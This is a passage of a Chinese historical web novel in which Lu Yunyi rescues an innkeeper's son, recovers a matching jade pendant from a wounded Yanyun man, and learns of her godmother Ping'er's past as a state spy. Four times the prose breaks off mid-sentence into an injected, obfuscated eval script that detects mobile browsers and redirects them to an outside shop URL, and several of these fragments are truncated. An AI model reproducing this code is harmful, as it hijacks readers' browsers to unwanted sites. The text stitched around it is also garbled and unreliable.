陆云逸侧身避开,手中短刃划过对方手腕。那人吃痛,却没有退,反而用肩撞上来。第二个人紧跟其后,第三个人已经从门外探身,想从侧面压住她。 那一瞬间,陆云逸摸到了袖中的暗器。 她自己后来也说不清,那东西是什么时候被她放在身上的。 那暗器不大,像一只扁平铁匣,藏在护腕里。她按下机括时,铁匣发出极细的一声响。下一刻,数道寒光从袖中射出,像雨点一样打向门口。 细针、薄刃、短钉,同时射出。 最前头的三个人几乎同时中招。一个被钉穿肩头,一个捂住眼睛惨叫,一个腿弯中针,跪倒在地。门口瞬间乱了。 可那些人没有像寻常劫匪那样退。 他们受了伤,却像不知道疼。肩上流血的人仍往前扑,眼睛受伤的那个一边吼叫一边乱挥刀,跪倒的人甚至伸手去抓陆云逸的脚踝。 这不是一般盗匪。 一般盗匪图财,见势不对会跑。可这些人像被逼到绝路的狼,哪怕骨头断了,也要咬人一口。 陆云逸眼神沉下去。 局势已经逆转,但还没有结束。 她不再留手。 短刃贴着腕骨翻转,先割断抓向自己脚踝的手筋,再借桌子残脚挡住横劈来的刀。她身形不大,力气也不算最强,可房间狭窄反而让对方不能一拥而上。她每一下都打在最该打的位置,喉、腕、膝、眼、肋下。 屋中灯火摇晃。 桌椅翻倒,瓷盏碎了一地。血溅在窗纸上,成了暗色的斑。小包缩在椅子旁,眼睛瞪得几乎要裂开,嘴里的布已经滑落,却发不出声音。 最后一个人倒下时,屋里只剩下粗重的喘息声。 陆云逸站在一地狼藉中,身上也溅了血。她肩上被刀锋擦破,袖口划开一道长口子,手背上也有伤。可她站得稳,眼睛也清醒。 听雪斋里,萍儿听到这里,脸色已经变了。 “你受伤了?” 陆云逸看着桌上那两半玉佩,轻轻笑了一下。 “干妈,我如今还坐在这里同你说话,便说明那一路总归有惊无险。” 萍儿并没有被这句话安慰到。 她看着陆云逸,眼神沉沉的,像恨不能把那几年里每一道她不曾看见的伤都翻出来。 过了片刻,萍儿又问:“你什么时候会做暗器?” 陆云逸垂眼看了看自己的手。 “我也不大记得。” 萍儿皱眉。 陆云逸道:“后来我也想过,也许不是我做的。” 陆云逸像是不愿让她再追问,便继续讲下去。 黑石镇那间屋里,血味重得呛人。 小包已经吓坏了。 他看着陆云逸走近,整个人往后缩,腿却软得站不起来。裤脚下一片湿痕,竟是被吓得失禁了。他嘴唇抖着,连话都说不完整。 “别……别杀我……我有钱……我有银子……都给你……别杀我……” 陆云逸停在他面前。 她身上有血,手中短刃也有血。这样的模样,在小包眼里,恐怕同那些劫匪并无差别,甚至更可怕。 她把短刃收起。 “老包让我来的。” 小包愣住。 陆云逸又道:“你爹,甘州包家客栈。” 小包的眼睛慢慢有了焦点。 他像这才听懂,嘴唇动了动,忽然哭出声来。那哭声压得很低,不像孩童嚎哭,倒像一个撑了太久的人终于知道自己还能活。 陆云逸替他解完剩下的绳子。 绳子一松,小包整个人从椅子上滑到地上。他的手腕已经磨破,脚踝也被捆得发肿。陆云逸给他灌了几口水,他才勉强能说话。 他断断续续把事情讲了。 他初到黑石镇时,确实顺利过一阵。无忧逆旅位置不错,来往商队多,他又识字,会算账,比镇上许多粗人会做生意。开张头一个月,客人不少,银子也进得快。他怕黑石镇乱,还花钱雇了几个护院。 那时他真以为自己要起来了。 可黑石镇最会教人明白,钱进得越快,刀也来得越快。 一个月后,来了这伙人。 他们不是本地寻常泼皮,也不是只图几顿酒钱的流匪。他们一来便杀了护院。杀得干净,不留废话。小包亲眼看着自己花钱雇来的人倒在院里,血流到马槽边。 他本来也要死。 是他跪得快,求得快,说自己能写信要钱,能替他们继续开店,能遮掩外头人眼睛,那些人才暂时留下他的命。 后来他便成了这间逆旅的活招牌。 前头仍开门接客,后头却成了这些人的窝点。他们逼他写信回家要钱,也逼他替他们看账、认路、套客人的底细。每封信都有人盯着,他不敢写得太明,只能把求救藏进行首。 说到这里时,小包一边发抖,一边去看地上那些尸体。 他忽然想起什么,声音猛地拔高又压住。 “他们还有个头领。” 陆云逸看向他。 小包咽了咽唾沫。 “就在楼上最好的房间里。他伤得很重,一直昏着。那些人都听他的,哪怕他昏着,也没人敢动他。最好的房间给他住,药也先给他用。若有人进那间屋,他们都要守着。” 陆云逸皱了皱眉。 “头领?” “嗯。”小包声音发颤,“不是我们这边的人。我听不懂他说的话,也听不懂他们有时候私下说什么。他们来的时候,他就已经重伤了。好像是从什么地方逃来的,又像是被人追杀。” 陆云逸沉默片刻。 留下这样一个人,显然不稳。 若他真是这伙劫匪的首领,醒来之后也许会带来更大麻烦;若他死在这里,尸体也会成为麻烦。可他身上有伤,昏迷不醒,眼下还不知道外头发生了什么。 陆云逸让小包带路。 无忧逆旅最好的房间在二楼东侧,窗户朝街,屋里原本是给出手阔绰的商队头领住的。小包刚开店时,特意换过新被褥,也摆过一张小案。如今门口有血迹,地上还丢着几个药碗,屋里药味和血味混在一起,重得发闷。 门没有锁。 大约那些劫匪从未想过,会有人杀到这里。 陆云逸推门进去。 屋内灯还亮着。 床上躺着一个男人。 他身形高大,即使昏迷,也能看出骨架结实。脸色灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524121|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,唇干裂,额头上全是冷汗。眉骨高,鼻梁挺,轮廓深,不像安国人。肩上和腹侧都包着粗布,血已经渗出来,把布染成暗色。 他确实是燕云长相。 陆云逸走近,原本已经动了杀心。 她不是第一次见死人,也不是第一次知道有些人留不得。这个人是那伙劫匪的首领,手下杀了小包的护院,也差点害死小包。若他醒了,再叫来别的人,老包一家人未必能安稳活下去。 可她掀开男人衣襟,检查他身上是否还藏着兵器时,看见了他颈间的玉。 半块玉佩。 玉被血污糊住一半,却仍能看出温润的底色。断口参差,纹路隐约。陆云逸心里某处像被重重敲了一下。 她从怀里取出萍儿给她的那半块玉佩。 两块玉贴近时,断口严丝合缝。 一整块玉佩,在黑石镇一间血腥的上房里,重新合在了一起。 小包看见这一幕,脸色瞬间惨白。 他扑通一声跪下。 “公子饶命!我不知道你们认得!我真不知道!我没碰他!我就是被他们逼着看着店,真不是我抓的他!” 陆云逸没有看他。 她盯着那男人的脸。 这人确实是燕云相貌。可不知为何,在那样深的轮廓底下,竟有一点让她觉得熟悉的影子。不是像父亲,也不是像母亲,更不是像宫中任何人,不像广陵的结交的朋友与搭档,不像姑苏相识的师傅与同胞,那一点熟悉来得很隐约,像隔着雾看见一盏旧灯。 后来她才发现,那一刻,她想到的是萍儿。 听雪斋里,萍儿的手骤然收紧。 陆云逸看向她。 “我当时没有处理他。”她说,“因为他身上有这半块玉佩。” 萍儿没有说话。 陆云逸又道:“也因为他虽然是燕云人的长相,却有一点像你。” 这句话落下,萍儿的脸色慢慢变了。 她看着桌上那块重新拼成的玉,像许多年前被压进心底的风雪,忽然又从裂缝里吹出来。 黑石镇那夜,陆云逸最后没有杀那个男人。 她先把玉佩从男人颈间取了下来。 那半块玉被血沾得很紧,绳结也浸了血,解开时费了些力气。取下之后,她用袖口擦了擦,和自己的半块收在一起。 然后,她把小包送走。 小包身上有伤,又受惊过度,不能久留。陆云逸把逆旅里能用的银子、药、干粮都搜了些,找出一匹还能跑的马。天还黑着,她便带着小包离开黑石镇。 那一路走得更急。 小包几乎在马背上昏过去几次。陆云逸没有停太久。天亮前,黑石镇最乱,也最容易趁乱离开。等太阳升起,尸体被发现,谁也不知道镇上会有什么动静。 到甘州时,包家客栈正在筹备午饭。 老妇人正在扫门前的尘土,远远看见一匹马过来。她起初没认出,直到小包从马上滑下来,哑着嗓子喊了一声“奶奶”,她手里的扫帚一下掉了。 老包从前堂冲出来。 一家三口抱在一处。 老的哭,年轻的也哭。老包一个大男人,抱着儿子,哭得肩膀发抖,嘴里却还在骂:“你个不省心的东西,你还知道回来!” 小包一句话也说不出来,只攥着父亲衣襟,像怕一松手又回到那间亮着灯的屋子里。 陆云逸没有久留。 老包和老妇人要谢她,要留她,要给她跪下,她都避开了。她只让老包给小包找大夫,又叮嘱他们暂时别声张黑石镇的事。那地方不是一个小客栈能招惹的,能把人救回来,已经是万幸。 等包家人忙成一团,她悄悄离开了甘州。 又去了黑石镇。 30.空窗血尽失玉人 萍儿听到这里,终于开口:“你又回去了?” “嗯。”陆云逸道,“那人还在那里。” 她回到无忧逆旅时,天色微亮。 前一夜的尸体已经冷了。黑石镇无人来管。也许有人听见过声响,也许有人看见过血,却没人愿意为几个外来匪徒出头。无忧逆旅门前的灯还挂着,只是没点,木牌在风里轻轻晃。 那个重伤男人仍在昏迷。 他住在最好的房间里,床褥被血浸了一大片。那些死去的劫匪没能带他走,黑石镇里旁人也不敢靠近这间刚死过人的逆旅。陆云逸推门进去时,屋里一股闷热的血腥气。 陆云逸不会治那样的伤。 她只能在镇上找大夫。 黑石镇没有正经医馆。有的只是替刀客缝伤、替赌徒接骨、替暗商配药的人。那种人不问来路,只认银子。陆云逸花了不少钱,才找来一个黑瘦老头。那老头背着药箱,进门先看尸体,再看伤者,最后看陆云逸,什么也没问,只伸手要银子。 黑石镇里的人,最知道什么该问,什么不该问。 银子给够了,死人也能缝。 那老头替男人清了伤口,止了血,又用粗针缝合了几处裂开的皮肉。男人烧了一夜,口中偶尔吐出几句陆云逸听不懂的话。那声音低而含混,像是从很远的草原和风雪里滚过来。 第三日清晨,他醒了。 醒来时,眼神清醒得不像刚从鬼门关走过一遭。 他第一件事便是去摸刀。 刀早被陆云逸收走了。 男人的手落空,目光立刻转向陆云逸。那眼神里没有感激,也没有劫后余生的茫然,只有警惕。像一头受了重伤的狼,哪怕腿已经断了,也仍旧在估量扑咬的距离。 陆云逸问他是谁。 他不答。 问他从哪里来。 他不答。 问他为何有这半块玉佩。 他的眼神终于动了一下,却仍不开口。 陆云逸把两半玉佩合在一起,放在他眼前。 男人盯着那块玉,看了很久。 他脸上没有太多表情,可手指在被褥下微微蜷起。陆云逸看见了,便知道他认得这块玉。不但认得,而且这东西对他很要紧。 可他还是不说。 那种沉默不是寻常人的倔强。寻常人受了救命之恩,哪怕有所防备,也总会露出几分迟疑。可他没有。他把所有话都咬死在牙关里,仿佛只要开口,便比死还危险。 陆云逸没有再逼问。 她那时也累了。 从甘州到黑石镇,从救小包到杀那伙劫匪,又从黑石镇送人回甘州,再折回来守着这个来历不明的男人。几日几夜下来,她没有睡过一个整觉。屋里的血腥气、药味、残灯和风声混在一起,像一张潮湿的网,罩得人喘不过气。 男人醒后没过几日,便逃了。 那天夜里,陆云逸只在外间眯了一会儿。 等她惊醒时,里间窗户已经开了。冷风从窗口灌进来,吹得灯火乱晃。床上的被褥掀在一边,血迹从床沿一路拖到窗下。窗框上搭着半截染血的布,像是他撕了衣裳裹伤,借着后窗逃了出去。 他的伤根本没有好。 可他仍旧走了。 陆云逸追到后巷时,只看见一地被风吹乱的尘土和两三点暗色血痕。黑石镇的夜仍旧乱,酒肆里有人吵闹,马棚边有人低声咒骂,远处灯影晃动。那男人像一滴血落进脏水里,很快便没了踪迹。 玉佩还在陆云逸手里。 她早已从他颈间取下那半块玉,同自己那半块一起收进包袱深处。那男人走得急,没能带走它,也没有留下任何能说明身份的东西。 只留下一张空床,一窗冷风,和许多没有得到回答的问题。 陆云逸带着两半玉佩离开黑石镇。 她没有再回包家客栈。 小包已经回了家,这件事便到此为止。她若再去,只会把更多麻烦带给他们。后来一路回京,那半块玉佩便一直藏在她包袱最里层。 直到今日,放到萍儿面前。 听雪斋里,炭火无声地烧着。 萍儿一直没有说话。 她看着桌上的玉佩,看着那两半已经重新合拢的旧物,脸色一点点失了血色。她的手压在桌沿上,指节发白,像在竭力稳住什么。 陆云逸从没见过她这样。 萍儿在她记忆里,向来是稳重的。 无论是她幼时发热,还是第一次入宫,还是后来她病中说出那些支离破碎的话,萍儿都能先稳住自己,再去稳别人。她会害怕,会难过,会红了眼眶,却很少失态。 可此刻,她像被这块玉从旧年里硬生生拽了一下。 “他跑了?”萍儿终于开口。 声音很轻,却绷得厉害。 陆云逸道:“跑了。” “什么时候?” “醒后没过几日。” “伤成那样,也能跑?” “能。”陆云逸道,“所以我猜,他不是寻常人。” 萍儿盯着她:“他往哪边跑的?” “黑石镇夜里太乱,没追上。” “他有没有说过什么?有没有提名字?有没有说自己从哪里来?有没有问你这玉?” 这些话一连问出来,萍儿自己也像察觉过急,停了一下。 陆云逸看着她。 她越发确定,萍儿认得这块玉,也认得与这玉有关的人。 “他没有说名字。”陆云逸道,“问什么都不答。看见玉时有反应,但不肯说。” 萍儿的呼吸乱了一瞬。 陆云逸又道:“他跑,或许也不奇怪。那时我状态未必好。” 萍儿抬眼:“什么意思?” 陆云逸垂下眼,看着自己的手。 “那段日子,我本就不太清醒。杀了人,又几日没睡,还守着一个来历不明的人。如今想想,他也许是看出我有病。” 萍儿的眼神微微动了动。 陆云逸没有说得更重。 她只是道:“一个重伤醒来的人,看见救命恩人不像救命恩人,反倒像疯子,自然会跑。” 萍儿没有接这句话。 她的目光仍落在玉佩上。 陆云逸轻声问:“干妈,他是谁?” 屋里静下来。 窗外风卷过廊下,吹得门扇轻轻响了一下。 萍儿的手慢慢从桌沿收回来。她想去碰那块玉,指尖却停在半空,最后又落回袖中。 她像是有许多话涌到喉口,又被她一一咽了回去。 陆云逸没有催。 过了很久,萍儿低声说:“我还没想好怎么说。” 她不是不知道。 她只是还没有办法把那些旧事从心里拿出来,摆到陆云逸面前。 陆云逸看了她片刻,点了点头。 “没关系。” 萍儿抬头看她。 陆云逸把两半玉佩重新分开,一半推到萍儿面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜淞便不再深问。 他今日原本也只是照常复诊。离魂分魄之症不能日日硬挖,颜淞心里清楚。问得太急,病人会退;逼得太紧,反而会乱。陆云逸既然只说风土人情,他便只记风土人情。 萍儿在一旁听着,始终没有插话。 颜淞开了与前几日相近的安神方,又略减了一味药,让夜里不至于睡得太沉。写完后,他叮嘱萍儿: “近日若殿下肯说旧事,便让他说些轻的。太伤神的,先缓一缓。” 萍儿接过方子。 “我知道。” 颜淞告辞后,屋里重新安静下来。 萍儿把药方放在桌边,许久没有动。 陆云逸也没有再问玉佩的事。 窗外天色渐暗,听雪斋里一点一点沉入黄昏。炭火仍旧烧着,药炉还没点,桌上却仿佛仍摆着那块被分成两半又重新合起的旧玉。 萍儿坐在那里,脸色终于恢复了些。 可陆云逸知道,今日这件事并没有过去。 它只是暂时停在了这里。 像那男人从黑石镇的后窗逃走时留下的血迹,风一吹,表面很快会干。 可痕迹仍在。 31.暗司无名锁浮萍 萍没有父母。 至少在她自己的记忆里没有。 她最早记得的,是一间没有窗的屋子。屋子狭长,地上铺着潮湿的草席,墙根有一股终年散不去的霉味。夜里很多孩子挤在那里睡,大的十来岁,小的还说不清话。没有人知道自己从哪里来,也很少有人敢问。 问了也没用。 在那里,一个人的来处并不重要。重要的是你能不能记住话,能不能忍住疼,能不能在该闭嘴的时候闭嘴。 那地方没有匾额,没有衙门该有的门脸。外头的人不知道它在何处,里头的人也不能知道它真正叫什么。后来萍长大一些,才从那些执事极低的交谈里,听见过三个字。 隐鸢司。 那不是一个该被百姓知道的机构。 它像一根插在皇城阴影里的针。明面上的六部九卿看不见它,州郡县的文书上没有它的痕迹。可许多大案背后有它,许多官员家中半夜被敲开的门后有它,边境来的密信、宗室府里多说了一句的话、朝臣席间交换过的眼神,也可能被它收走,送进皇帝案前。 先皇用它。 也怕它。 因为这样的刀太锋利,握在手里能伤人,也能反割自己的掌心。可只要天下仍是陆家天下,只要朝堂上仍有看不见的暗涌,只要边境那头还有燕云,南边还有瑞国,皇帝便不能没有这样的刀。 隐鸢司养孩子。 也消耗孩子。 萍便是被它养大的孩子之一。 她不知道自己是灾年里被捡来的,还是犯官家眷里挑出来的,也可能是从人牙子手里买来的。隐鸢司不在意这些。孩子的来历越断得干净,越好用。没有父母,便不会有人来寻;没有族亲,便不会有人牵挂;没有本名,便能被写成任何一个人。 最开始,她连萍也不叫。 她只有一个号。 丁三十一。 同屋的孩子也一样。丙十五,丁十三,丁二十。那不是名字,只是方便点人,方便领饭,方便受罚,也方便哪一日死了以后,从册子上划掉。 他们每天醒得很早。 天还未亮,外头木梆便响。孩子们要立刻起来,收草席,排队,洗脸,吃饭。饭很少,粥清得能照出人影,偶尔有半块冷饼。有人饿得哭,哭过一次,第二日便不哭了。不是不饿,而是知道哭只会挨打。 丁三十一第一次挨打,是因为她把自己的半块饼分给旁边一个更小的孩子。 那孩子发着热,嘴唇干裂,手抖得连碗都端不住。丁三十一那时还不知道什么叫怜悯,只是看着他,觉得他若不吃点东西,大概会死。她把饼塞给他时,被教习看见了。 教习没有立刻骂她。 他只是叫她站出来,问:“为什么给他?” 丁三十一低着头,说:“他快死了。” 教习又问:“你给了他,自己不饿?” 丁三十一说:“饿。” “那为什么不先顾自己?” 丁三十一答不上来。 她那时太小,还不会替自己的行为找体面的说法。她只是觉得那个孩子快死了,自己还没有快死。 教习听完,点了点头。 然后让人把她拖出去,打了二十鞭。 那鞭子不粗,却疼得钻骨。丁三十一咬着嘴唇,起初还能忍,到后头浑身发抖,嘴里尝到血味。她没有哭出声。不是不想哭,是旁边站着许多孩子,她知道自己若哭了,他们也会跟着怕。 打完以后,教习蹲在她面前,问:“还给不给?” 丁三十一趴在地上,喘了很久,说:“不给了。” 教习笑了一下。 “记住。你先活着,才有资格管别人死不死。” 那一年,丁三十一大约六岁。 她记住了这句话。 可记住,不等于真的变成那样的人。 很多年以后,她仍会想起那半块饼。想起那个发热的小孩后来有没有活下去。隐鸢司里死去的孩子太多,没有碑,也没有人认真记他们的名字。连他们自己都没有名字。 丁三十一慢慢长大。 她学会了隐鸢司要她学会的一切。 先是学闭嘴。 挨打时闭嘴,饿时闭嘴,夜里听见隔壁屋有人哭喊时闭嘴。看见人被拖出去,不问;看见人回来时少了一只手,也不问。 再是学看。 看人的鞋底有没有泥,判断他从哪里来;看袖口有没有灰,判断他是否翻过墙;看一个人说话时眼珠往哪边偏,判断他心里想藏什么。教习会让他们站在院角,看十几个人依次走过,再关进屋里,让他们写下每个人的衣色、步态、腰间物件和说过的话。 错一个,罚。 漏一个,罚。 记慢了,也罚。 后来学听。 隔着一面墙听脚步,隔着一道门听杯盏,隔着热闹市声听密语。他们被带到酒肆、茶楼、庙会、集市,混在人群里,回来后要复述谁与谁说了话,哪一句是真,哪一句是假,哪一句只是给旁人听的空响。 丁三十一不算最聪明,却很稳重。 她记人不快,但不容易错。她说话不多,却能把听见的东西放在心里,按轻重排好。教习说她像水面上的浮萍,看着轻,风往哪边吹,她便往哪边去,落到哪里都能活。 于是她有了一个字。 萍。 不是名字。 只是代号外头多了一层好听的壳。 萍很早便知道,在隐鸢司里,好听的东西往往更可怕。 女孩子在这里要学得更多。 男孩学跟踪、暗杀、藏信、逃命。女孩也学这些,还要学笑。 怎么低头笑,怎么抬眼笑,怎么被冒犯时先愣一下,再装作不懂;怎么在贵人面前像一只无害的雀,怎么在妇人面前像一个可靠的丫鬟,怎么在男人面前让对方觉得自己已经看透了你,其实他什么也没有看见。 萍学得很慢。 她并不天生讨人喜欢。小时候她太安静,常被教习说木。后来她便对着铜镜练。镜子里那个女孩年纪渐长,眉眼不算惊艳,却温顺干净。她学会把肩放松,把目光放低,把话说到七分,把惊讶留在恰好处。 十岁那年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她扮过逃难女子,进过商队;扮过病人的侄女,混进过一处药铺;也扮过被卖进府的小妾,在一位地方豪强身边待过半年。每一次回来,她都比从前更安静。 她见过太多事。 见过屠刀悬颈时,平日里同席共饮的兄弟为了讨得一线生机,将手足推入万丈深渊;见过重压之下,本可全身而退的人明知踏出一步便是死无全尸,依旧怀揣信件投身火海;见过朱红高门里,白日满口治国安邦、圣贤仁义的官员,到了烛火摇曳的深夜便撕下斯文皮相迎送通达仕途的筹码;见过大雪深处,守着残火的妇人将最后一碗续命的热汤递给素昧平生的孩子。 卑鄙与高尚交织缠绕,在这世道上生生不息,人心不是书上写的善恶两字。 隐鸢司教她用人,也教她疑人。可那些任务又让她知道,人不能只靠疑活着。若人人都不可托,世上便没有一处能睡得安稳。 只是这种念头不能说。 说出来,会被当成软弱。 萍把它藏得很好。 32.红妆万里换太平 她一生里最重要的那道任务,是在十八岁那年落下来的。 那一年,安国与燕云大战后的伤口还没有完全结痂。 边境上许多城寨烧过,许多村子空了。西边几州的粮仓被军需掏得见底,征夫回乡后,家中田地已经荒了。朝中主战的人说,燕云人不可信,今日停战,明日仍会南下;主和的人说,再打下去,不等燕云攻城,安国自己的州县便先熬干了。 先皇也知道不能再打。 可是停战不是两军各自退回去便算了。 战场上的刀收了,百姓心里的恨却不会立刻收。燕云人杀过安国百姓,安国军也烧过燕云草场。边境两边的人多年互相抢马、劫粮、报仇,一纸盟书压不住所有血债。更何况,燕云是草原与山脉之间长出来的国家,部族繁多,强者为尊。安国若只给岁币和礼物,在燕云人眼里是软弱;若只派使臣说理,在草原风里又太轻。 朝廷需要一件能被两国人都看见的大事。 和亲便是这样的大事。 它不是单纯把一个女子送去换和平。 在先皇和朝臣眼里,和亲有好几层用处。 其一,是给战争一个体面的结尾。两边死了那么多人,谁也不能承认自己怕了。若安国送公主,燕云迎王妃,停战便不是退让,而是结盟。皇室女子的车驾一过边境,百姓便知道,至少眼下两国不会轻易再开战。 其二,是把安国的礼法、文字、种子、工匠、医术和度量衡带过去。随嫁队伍里不只有绸缎金银,还有能在寒地试种的麦种、懂水渠的工匠、懂缝伤和疫病的医官、会记账的书吏。朝中有人说得直白:兵马打不进去的地方,礼乐、粮种和账册也许能慢慢进去。 其三,是在燕云王庭里放下一处安国能说话的地方。公主不只是妻子,也是活着的桥。她在燕云王庭有地位,安国的使臣便有借口往来,互市便有话头,边境出了小冲突,也能多一层转圜。 其四,公主是人,也是凭证。安国把公主送去燕云,等于向燕云示信;燕云若善待公主,便也向安国示信。她的处境,会成为两国关系的晴雨。她活得安稳,边境商队便敢走;她若受辱,朝堂上主战的刀又会出鞘。 这就是和亲。 礼乐衣冠裹着一个女子的命。 可是那个被送去的人,不该只是一个任人摆布的影子。 先皇子女不少。 皇子、公主、早夭的、养在宫中的、已经出嫁的,算起来有几十余人。 陆棣贤在这些孩子里,并不是最受宠的那个。 她生母出身不高,早年也不算得宠。陆棣贤幼时养在宫中一处偏静的殿里,吃穿用度自然不缺,却少有被父皇抱在膝头逗弄的时候。宫中人最会看风向。受宠的公主,一支珠钗迟送半日,都有人战战兢兢;不受宠的公主,生辰少一盏灯,也不过是内侍低声说一句“下回补上”。 陆棣贤不是没有委屈过。 只是她很早便明白,皇家的孩子,即便不受宠,也仍是皇家的人。她享着公主的衣食,受着百姓供养,名字被写在宗室玉牒上,便不能在需要有人承担代价的时候,把自己往后缩,把另一个无辜宗女推到前头。 所以后来朝中议和,要选和亲之人时,许多人都以为会从旁支宗亲里挑一个女子,封了公主名号送出去。那样也体面,也省事,也不会叫真正的公主受苦。 可陆棣贤站了出来。 即使不受宠,她也是真公主,是先皇的亲女儿,也陆棣昤的亲妹妹。 她并不是因为父皇疼她,才愿意替父皇分忧。 恰恰相反,她太知道不被疼爱的滋味,所以不愿让另一个更无力选择的女子,替她去过那样漫长的一生。 萍第一次见陆棣贤,是在宫中偏殿。 那时她已经被定为随行侍女之一,站在偏殿角落里,低眉顺眼。礼官正在讲燕云风俗。说燕云人爱马,重勇,宴饮时不似安国讲究席次。说燕云王族几部之间彼此牵连,嫁过去后不可随意得罪某一部。说草原冬日极冷,要早备皮裘。说饮食不合,也要忍。 陆棣贤坐在上首,穿一身素色宫装,头上没有太多珠翠。她年纪并不大,眉目清秀,却不是柔弱相。她听得很认真,偶尔问一句。 “随嫁工匠可否带家眷?” “种子该如何存放,过境风雪可会损坏?” “燕云各部对安国文字是否通行?” “若两国互市重开,第一批该换粮,还是盐?” 礼官起初还把她当成一个即将远嫁的女子,后来慢慢不敢敷衍。 萍站在角落里,看了她一眼。 只一眼。 她看见陆棣贤的手只是平静地放在膝上。 萍见过很多将要被送走的女子。 有哭的,有闹的,有装病的,也有木然听命的。陆棣贤都不是。她像早已把自己的害怕收了起来,只留下一个公主该有的样子。 偏殿散后,萍跟随宫人退下。 路过廊下时,她听见两个小宫女小声说:“公主何苦呢?宗室里又不是没有人。” 另一个说:“享了公主的尊荣,便要担公主的命吧。” 这句话后来萍记了很多年。 那时她还不懂。 她自己从没有享过什么尊荣,一直只是在担别人给的命。所以她很难明白,一个人明明可以让别人替自己受苦,却偏偏选择自己去。 出发前一夜,萍被叫走。 不是去公主处,也不是去礼部。 她被带到宫内西北角一处不起眼的小院。那院子平日看着像堆放旧物的地方,门口也没有守卫。可萍一走近,便知道这里不寻常。 领路的人把她带到最里面一间屋子,便退了出去。 屋中有三个人。 先皇坐在上首。 隐鸢司首领立在一旁。 还有一人,是卫慬。 卫慬那时还不是后来的“反贼”。 他是先皇信重的臣子,懂边事,也曾随军到过西境。他生得魁梧,眼神清明,不像隐鸢司首领那样阴冷,也不像寻常朝臣那样满身官场气。萍进去行礼时,他看了她一眼。 那一眼很短。 却让萍不知为何记住了。 那眼里有审度,也有一点很浅的怜悯。 隐鸢司里没人怜悯她。 怜悯是一种无用又危险的东西。 先皇开口时,没有绕弯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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越往燕云走,安国的城镇便越少。路上风越来越大,草原像一片没有边的海。白日里天高得令人心慌,夜里星子低得仿佛伸手能摘。安国来的侍女起初都不适应,许多人夜里睡不着,白日里头晕。陆棣贤也不适应,可她从不在人前说。 她每日仍旧按时见礼官、见使臣,询问种子有没有受潮,工匠有没有病倒,随行女子有没有缺衣。 萍开始真正贴身伺候她。 她替陆棣贤梳头、换衣、收信,也替她挡掉一些不必要的探问。陆棣贤很快察觉,这个名叫萍儿的侍女同旁人不同。 寻常侍女手巧,萍儿也手巧。 寻常侍女谨慎,萍儿也谨慎。 可萍儿的谨慎里,有一种受过训练的沉默。她站在哪里都不显眼,却总能知道谁从门口经过,谁在帐外停了多久,谁说话时换了语气。 陆棣贤没有立刻问。 她只是看着。 33.风雪帐中玉犹温 队伍离安国边城越来越远时,有一夜风雪忽然压下来。 那晚营帐扎得急,随行的几名女眷受了寒。陆棣贤自己的手也冻得发僵,却仍去看了种子车,又看了几位随嫁工匠。回来时,萍在帐中替她暖了汤。 陆棣贤坐下后,忽然问:“你多大了?” 萍答:“约莫十八。” “约莫?” “奴婢不知确数。” 陆棣贤看了她一眼,没有再问来历,只从随身匣子里取出一块玉佩。 那玉佩不大,玉色温润,正面刻着极淡的云纹,背面藏着一个小小的“贤”字。那字刻得很巧,若不迎着光看,几乎看不见。那是陆棣贤从小带在身边的东西,不算最贵重,却是贴身旧物。 她把玉佩递给萍。 萍没有接。 “公主?” “给你。” “奴婢不敢。” 陆棣贤说:“不是赏。” 萍抬眼。 陆棣贤道:“你跟着我离了安国,总要有一件自己的东西。” 这句话让萍不知如何回答。 她从小到大拥有过许多东西。衣裳,刀,暗囊,假身份的路引。可那些都不是她的,只是任务给她的器物。任务结束,便要交回。她确实没有一件真正属于自己的东西。 玉佩落在她掌心时,是暖的。 大约因为陆棣贤一直贴身带着。 萍握着那玉,心里生出一种陌生的不安。她习惯别人给她命令,给她身份,给她要送出去的信,却不习惯别人给她一件没有条件的东西。 陆棣贤看着她,笑了笑。 “你别总像一件借来的物件。” 萍低下头。 “奴婢本就是随行之人。” “随行之人,也是人。” 那晚风雪拍着帐布,灯火摇得厉害。 萍站在灯边,忽然有些难受。 她没有哭。 她只是把那块玉小心收进怀里。 从那以后,玉佩便一直跟着她。 它最初只是陆棣贤给萍的一点私情。不是主仆赏赐,更不像宫中那些亲热话里含着算计。它像一只手,在离国之后最冷的夜里,轻轻按住了萍的肩,告诉她:你不只是编号,也不只是任务。 后来很多年,萍想起陆棣贤时,常会想起这块玉。 她们之间的关系,外人说不清。 在安国人眼里,一个是公主,一个是侍女;在燕云人眼里,一个是王妃,一个是随嫁来的近身女人。后来又有人说她们争宠,说她们相害,说她们恨不得对方死。可只有她们自己知道,那些年里,她们曾在风雪深夜里并肩坐过,曾共藏过一件能杀头的秘密,也曾在无人处握住彼此的手,像两个都快沉下去的人,谁也不肯先松开。 